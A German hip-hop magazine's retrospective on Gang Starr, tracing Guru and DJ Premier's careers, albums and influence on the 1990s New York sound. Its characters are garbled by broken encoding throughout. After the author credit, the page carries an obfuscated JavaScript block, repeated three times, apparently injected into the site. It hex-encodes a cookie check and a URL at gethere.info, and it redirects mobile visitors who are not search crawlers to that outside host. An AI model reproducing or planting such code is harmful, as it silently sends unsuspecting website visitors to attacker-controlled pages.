Kings of HipHop: Gang Starr

2010 verstarb Keith Edward Elam, der unter dem Namen Guru als Teil von Gang Starr nicht nur in HipHop-Kreisen berA?hmt wurde. In diesem Jahr wA�re der MC, der HipHop A?ber Jahre als eine der bedeutendsten Stimmen begleitet hat, 50 Jahre alt geworden. Auf die Nachricht seines Tod reagierte die Szene geschockt, auch wenn sie im RA?ckblick nicht A?berraschend kam. Guru war bereits knapp zwei Monate zuvor ins Koma gefallen. Den Unklarheiten und den Problemen, die auf das Ende seines Lebens folgten, mA�chten wir hier keinen Platz einrA�umen. Zu groAY ist das VermA�chtnis von Guru, als das es Platz fA?r menschlichen Unrat, der nicht im direkten Zusammenhang mit seiner Kunst steht, lassen wA?rde. Rest in Power, Guru!

Um das Lebenswerk des, in Boston geborenen Musikers gebA?hrend zu wA?rdigen, haben wir unsere ausfA?hrliche Aufarbeitung seiner gemeinsamen Zeit mit DJ Premier, mit dem er unter dem Namen Gang Starr den New York-Sound der Neunziger maAYgeblich prA�gte, aus dem Archiv geholt. In der Review-Sektion findet ihr mit persA�nlichen Anekdoten angereicherte Kritiken zu allen Studioalben des legendA�ren Duos. Zudem betrachtet der folgende Text, zuerst erschienen im Rahmen unser Heft-Rubrik A�Kings of HipHopA� im Jahr 2009, die Geschichte und kulturelle Bedeutung Gang Starrs:

In den Neunzigern war HipHop etwas, was man vor allem echt und rein zu A�halten hatte. Die fleischgewordene Inkarnation dieses Gedankens war das Duo aus MC Guru und DJ Premier. Heruntergebrochen auf die absolute Essenz der Kultur, definierten Gang Starr in der Dekade zwischen a��89 und a��99, welche ideellen Gesetze in unserem Subkulturkosmos gelten sollten: Von Respektsbekundungen an die Pioniere A?ber die Vier-Elemente-Theorie, die A�Wichtigkeit der A�SkillzA� bis hin zum Festhalten an einer visuellen und klanglichen A�sthetik der StraAYe A�erklA�rten sie uns, wie man als richtiger HipHopper zu reden und laufen, zu hA�ren und A�leben hatte. Und auch wenn diese A�ra unwiederbringlich vorbei ist, haben Gang Starr dem Spiel ihren Stempel so A�eindrucksvoll aufgedrA?ckt wie kein anderes Duo der HipHop-Geschichte.

Was genau Gang Starr so herausragend macht, lA�sst sich nicht auf eine einfache Formel herunterbrechen. Es war wie immer in solchen FA�llen eine Kumulation gA?nstiger Faktoren zur richtigen Zeit, gemeinhin mit Begriffen wie A�MomentumA� umrissen. Am Anfang jedoch stand eine umstA�ndliche Suche nach dem richtigen Partner fA?r beide Akteure: Keith Elam, der 1982 als The Guru Keithy E. zu rappen begann, machte in Boston ab 1986 unter dem Projektnamen Gang Starr gemeinsam mit DJ 1,2 B-Down (auch bekannt als Mike Dee) Rapmusik. Seine Beats bekam das Duo von variierenden Produzenten wie Donald D, Mark The 45 King oder J.V. Johnson. Aufgrund eines Demos wurden Gang Starr 1987 von A&R Stuart Fine beim jungen HipHop-Label Wild Pitch gesignt und verA�ffentlichten dort drei Maxis: A�Believe Dat!A�, A�The LessonA� und A�Movina�� OnA�. Die Singles bekamen einige Aufmerksamkeit und A?berwiegend gutes Feedback aus der Szene, doch innerhalb der Gruppe krachte es bald: Guru und sein DJ Mike Dee trennten sich, auch die Produzenten hatten bis auf 45 King kein weiteres Interesse, mit ihm zusammen zu arbeiten.

WA�hrenddessen war ein junger DJ namens Waxmaster C im fast 2.000 Meilen entfernten Houston vom HipHop-Virus infiziert und in lokalen Crews wie MCs In Control und Inner Circle Posse aktiv geworden. Er hA�rte die Maxis von Gang Starr und schickte daraufhin ein 4-Track-Tape mit einfachen Beats, aber um so prA�ziseren Scratches an Guru. Da beide in ihrer jeweiligen Bandkonstellation nicht weiterkamen und A?berdies gewisse A?berzeugungen zu Musik und Kultur teilten, beschlossen sie kurzerhand, fortan in der HipHop-Haupstadt New York an einem gemeinsamen DebA?talbum zu arbeiten. Den Deal hatte Guru ja schon, und so erschien das erste Gang Starr-Album A�No More Mr. Nice GuyA� 1989 bei Wild Pitch. Wobei Premo spA�ter zugab, dass er mit den Produktionen auf diesem Album streng genommen wenig zu tun hatte: Einerseits stammten einzelne Beats immer noch vom 45 King, andererseits kannte Premier zwar gute Platten und Samples, konnte aber noch nicht wirklich die erforderliche Hardware A�bedienen, sodass das Programming weitgehend noch von Engineer Shlomo Sonnenfeld erledigt A�werden musste. Erst im Zuge der Arbeit am Nachfolger lernte Premier von Leuten wie Sonnenfeld und seinem Kumpel Large Professor, wie man die Emu SP-12 und die Akai MPC-60 bediente. Seinen charakteristischen Produktionsstil entwickelte Preem schlieAYlich aus dem Zusammenspiel von MPC-60 und dem Sampler Akai S-950.

Selten hat eine Platte mehr Zeitgeist transportiert als dieses Manifest

AmA?sant ist an der FrA?hgeschichte Gang Starrs also vor allem, dass beide Figuren, die man am meisten mit der Geschichte und der SoundA�sthetik von New Yorker Hardcore-Rap verbindet, A?berhaupt nicht aus der Metropole am Hudson stammen. Erst zur Produktion ihres ersten Albums zogen beide nach Brooklyn, wo sie gierig den Vibe des Viertels aufsogen und schlieAYlich das vorherrschende GrundgefA?hl dieses Stadtteils in eine einzige Platte zu kanalisieren vermochten: A�Step In The ArenaA�, der 1990 erschienene Nachfolger zu A�No More Mr. Nice GuyA�, ist bis heute einer der festen Meilensteine der HipHop-Kultur und der New Yorker Musikgeschichte im Allgemeinen. Selten hat eine Platte mehr LebensgefA?hl und Zeitgeist transportiert als dieses Manifest, das auch zwanzig Jahre spA�ter noch Bilder jenes typischen Bill Cosby-Brooklyns vor dem inneren Auge entstehen lA�sst: Die bourgeoisen TreppenaufgA�nge von Fort Greene und Park Slope, mit Spike Lee und Nelson George als zentralen Figuren des kulturellen Lebens, das war der Schauplatz von A�Step In The ArenaA�, nicht die kargen BacksteinhochhA�user von Bed-Stuy und Brownsville oder die A�Trostlosigkeit des Brachlands von East New York. Diese Aspekte A�Brooklyns sollten spA�ter erst von befreundeten Bands wie M.O.P., Group Home oder Jeru The A�Damaja A�thematisiert werden.

A�Step In The ArenaA� war der Entwurf eines Sounds zwischen Jazz-Tradition, HipHop-Bewusstsein und Sprache der StraAYe a�� diese Trias an EinflA?ssen war es letztlich auch, die fA?r Gang Starr das Alleinstellungsmerkmal und damit eine berechtigte Nische zwischen politisch-afrozentrischen Bands wie Public Enemy und Brand Nubian, der aufkeimenden Native Tongue-Bewegung und dem Westcoast-Gangsta-Rap schuf. Gang Starr waren anders: Ihr Sound transportierte die lange Geschichte afroamerikanischer Musiktradition, ohne dabei rA?ckwA�rtsgewandt oder abgehoben zu klingen a�� A�Jazz MusicA� und A�Jazz ThingA� waren zwar Ausgangspunkte fA?r spA�tere MissverstA�ndnisse wie Acid Jazz und die Jazzkantine, aber im Prinzip waren Guru und Premier nicht auf Retrospektive, sondern auf Progression fokussiert: Wo andere noch James Brown totsampleten, verwendeten sie schon Loops von Charlie Parker. Kein Wunder, dass Spike Lee den Song A�Jazz ThingA� als Titelmelodie fA?r sein 1990er Musikerdrama A�Mo Better BluesA� auswA�hlte und dem Duo damit weitere subkulturelle GlaubwA?rdigkeit verlieh.

Was genau auf den drei Gang Starr-Platten zwischen 1990 und 1994 passierte, die heute als stilprA�gende Trilogie gesehen werden, ist mehr als die Summe ihrer Teile. DJ Premier samplete sich durch die swingende schwarze Musikgeschichte und entwickelte in diesem Zuge seine charakteristische Beat-Formel, die spA�testens auf A�Daily OperationA� von 1992 weitgehend ausgereift war, in der Folge nur noch verfeinert wurde und mit A�Moment Of TruthA� von 1998 ihren qualitativen HA�hepunkt erreichte. Guru hingegen war der Inbegriff des coolen Masters of Ceremony: Mit seinem rauchigen Organ, zurA?ckgelehnter Delivery und einem inhaltlichen Spannungsfeld zwischen A?berlegener Consciousness und selbstbewusstem Bragging & Boasting zog er die HA�rer unwiderstehlich in seinen Bann a�� auch wenn er selbst darauf schwor, dass es A�Mostly Tha VoiceA� sei, die ihn von anderen MCs unterscheide. Wie groAY der Einfluss von Gang Starr auf zeitgleich heranwachsende Rap-Gruppen in New York war, zeigt sich daran, dass DJ Mr. Len von Company Flow kA?rzlich erzA�hlte, welche Musik im Backstage-Raum vor einer Co-Flow-Show in den mittleren Neunzigern in der Regel lief: DJ-A�Routines von Roc Raida (R.I.P.) und Gang Starrs A�Hard To EarnA�. So waren Guru und Premier in A�Sachen Style und Attitude ideelle Vorreiter fA?r den New Yorker Underground zwischen Rawkus, Lyricist A�Lounge und Nuyorican Poets CafA�, der die zweite HA�lfte der Neunziger kreativ dominierte. Alles, was der aufrechte HipHopper in Timboots und Carhartt-Jacke damals an Regelwerk im Kopf hatte, das hatte er letztlich von Gang Starr gelernt.

Hinzu kam, dass Premiers Produktionen plA�tzlich auch jenseits des Gang Starr-Kollektivs auf groAYes Interesse stieAYen. Guru hatte bereits nach dem dritten Album begonnen, neben dem gemeinsamen Schaffen eigene Kollabo-Projekte umzusetzen und dabei das musikalisch zwar nicht unbedingt schlechte, aber in der AuAYenwirkung verheerende A�JazzmatazzA�-Projekt anzugehen, wA�hrend DJ Premier 1994 mit Jazz-Trompeter Branford Marsalis fA?r dessen Projekt Buckshot LeFonque kollaborierte. Doch wurde Jazz in der Folge zu einem immer hintergrA?ndiger auftretenden Einfluss in Premos Arbeit. seine Beats wurden minimalistischer, staubiger, drA?ckender, dA?sterer und hA�rter a�� eine Entwicklung, die in einer Reihe grandioser Longplayer fA?r Gang Starr Foundation-Mitglieder wie Jeru The Damaja (A�The Sun Rises In The EastA�, 1994), Group Home A�(A�Livina�� ProofA�, 1995) und M.O.P. (A�Firing SquadA�, 1996) gipfelte. TatsA�chlich war Preem wohl der gefragteste HipHop-Producer einer A�ra, in der Timbaland und die Neptunes irgendwo in Virginia an ihrer spA�teren MachtA?bernahme feilten. In den spA�ten Neunzigern war ein Premo-Beat die grA�AYtmA�gliche SoundA�veredlung fA?r ein Rap-Album. Der Meister arbeitete nicht nur fA?r befreundete Underground-Acts, sondern auch fA?r die Big Shots von The Notorious B.I.G. und KRS-One bis Nas und Jay-Z. Was Dr. Dre in der A�ersten HA�lfte des Jahrzehnts fA?r die WestkA?ste dargestellt hatte, war DJ Premier in der zweiten HA�lfte fA?r New York und die komplette OstkA?ste.

Seinen Sound entwickelte Preem in den New Yorker D&D Studios, die mit seiner kA?nstlerischen Biografie bis heute eng verwoben sind. Das 1984 gegrA?ndete Studio lag im Garment District von Manhattan (320 West 37th Street) und war die ganzen neunziger Jahre hindurch so etwas wie das zweite Wohnzimmer von DJ Premier: Nicht selten kam es vor, dass in einem Studio Afu-Ra aufnahm, wA�hrend nebenan auf der Couch die halbe Boot Camp Clik chillte, die Beatminerz nach Samples diggten und Premo hinter den Boards saAY. Anfang der Zweitausender verschuldeten sich die Studiobetreiber leider immer mehr, lieAYen die RA�umlichkeiten in der Folge verkommen und mussten sie am Ende schlieAYen. 2003 verkaufte jedoch DJ Premier sein Privathaus, um mit dem ErlA�s das Studio zu kaufen und sanieren und renovieren zu lassen. Zur WiedererA�ffnung benannte er es nach A�seinem ermordeten Freund HeadQcourterz, einem ehemaligen Promoter bei den Underground-Rap-A�Labels Payday und Rawkus.

Da man als deutscher Durchschnitts-HipHopper Ende der Neunziger vor allem die OstkA?ste feierte (gewisse Randerscheinungen in OsnabrA?ck und Westberlin ausgenommen), wurden Gang Starr hierzulande zum einfachen Sinnbild fA?r den echten ScheiAY. Mit ihrem Opus Magnum A�Moment Of TruthA� zementierten sie diesen Status 1998, und als im darauffolgenden Jahr die Doppel-CD-Werkschau A�Full Clip: A Decade Of Gang StarrA� mit dem namensgebenden TrueSchool-Klassiker inklusive Respektsbekundung an den gerade verstorbenen Big L erschien, war jedem Beobachter klar, dass dies der absolute Zenit der Karriere von Gang Starr war. Sowohl Guru als auch DJ Premier waren keine einfachen Charaktere, die zwischen ihren A�gemeinsamen A�Produktionen immer mehr Abstand voneinander brauchten: Zwischen A�Hard To EarnA� und A�Moment Of TruthA� vergingen vier Jahre, in denen sich beide Gang Starr-Mitglieder hauptsA�chlich ihrer Solokarriere und externen Projekten widmeten, zwischen A�Moment Of TruthA� und dem letzten Gang Starr-Album A�The A�OwnerzA� lagen weitere fA?nf Jahre, in denen sich das Duo Infernale offenbar immer weiter auseinander.

Guru wird nachgesagt, in dieser Zeit ein problematisches VerhA�ltnis zum Alkohol entwickelt zu haben, wA�hrend sich Premier um sein Label Year Round, sein ewig angekA?ndigtes Producer-Album A�A Man Of Few WordsA� und gelegentliche AusflA?ge in den Mainstream, u.a. fA?r Christina Aguilera, kA?mmerte. Sowohl Premier als auch Guru hatten nach A�The OwnerzA� geA�uAYert, dass die Band eine Auszeit brA�uchte a�� wobei Premo in jA?ngeren Interviews bekrA�ftigt hat, dass dieser Wunsch in erster Linie der seines MC-Partners gewesen sei und dass sich Guru nur bei ihm melden mA?sse, sobald er bereit fA?r ein neues Gang Starr-Album sei. Guru allerdings hat sich in eine von Fans und Kritik mit Argwohn betrachtete Zusammenarbeit mit dem A�Super ProducerA� Solar verrannt und mit diesem inzwischen schon drei weitgehend irrelevante Alben produziert. Keith Elam ist gerade dabei, die eigene Legende mit qualitativ minderwertigem SpA�twerk zu besudeln, wA�hrend DJ Premier seinen selbstaufgestellten Regeln treu bleibt und weiterhin mit alten Recken wie Big Shug oder NYGz, aber auch Jungspunden wie Termanology oder Skyzoo zusammenarbeitet.

Nun ist auch Premier mit seinem Sound und seinen Vorstellungen weitgehend in der Vergangenheit gefangen. Es vergeht kein Interview, in dem er nicht den Zustand aktueller Rapmusik beklagt, die VorzA?ge analoger Technologie gegenA?ber digitalen Produktionsmethoden anpreist und die eigene Sozialisation mit A�echter, handgemachterA� Soul-, Funk- und Jazzmusik betont. Angesichts solcher Einstellungen mag man als Auto-Tune– und Aggro Berlin-sozialisierter HipHopper nur mA?de lA�cheln, doch DJ Premier wird seiner Vorstellung von rohem New Yorker Rap-Sound wohl immer die Stange halten. Und letztlich lieben ihn seine Fans auch fA?r diese Konsequenz, die man allerdings genau so als ewiggestrige StarrkA�pfigkeit auslegen kA�nnte.

UnabhA�ngig von ihrem heutigen Schaffen und ihren internen Querelen lA�sst sich vor allem feststellen, dass alle vier groAYen Gang Starr-Alben, die in den neunziger Jahren entstanden sind, extrem gut gealtert sind und bis heute klare Meilensteine des HipHop darstellen. Gang Starr sind und bleiben die reinste Essenz unserer Kultur. Und sie stellen bis heute den Prototyp des ultimativen HipHop-Duos dar: ein MC und ein DJ, jeder in seiner jeweiligen Disziplin mit reichlich Skills und Knowledge gesegnet. Und die eine ganze subkulturelle Dekade mit ihrem Sound und ihren Inhalten geprA�gt haben. Wahre Kings of HipHop eben.

Text: Stephan Szillusvar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var 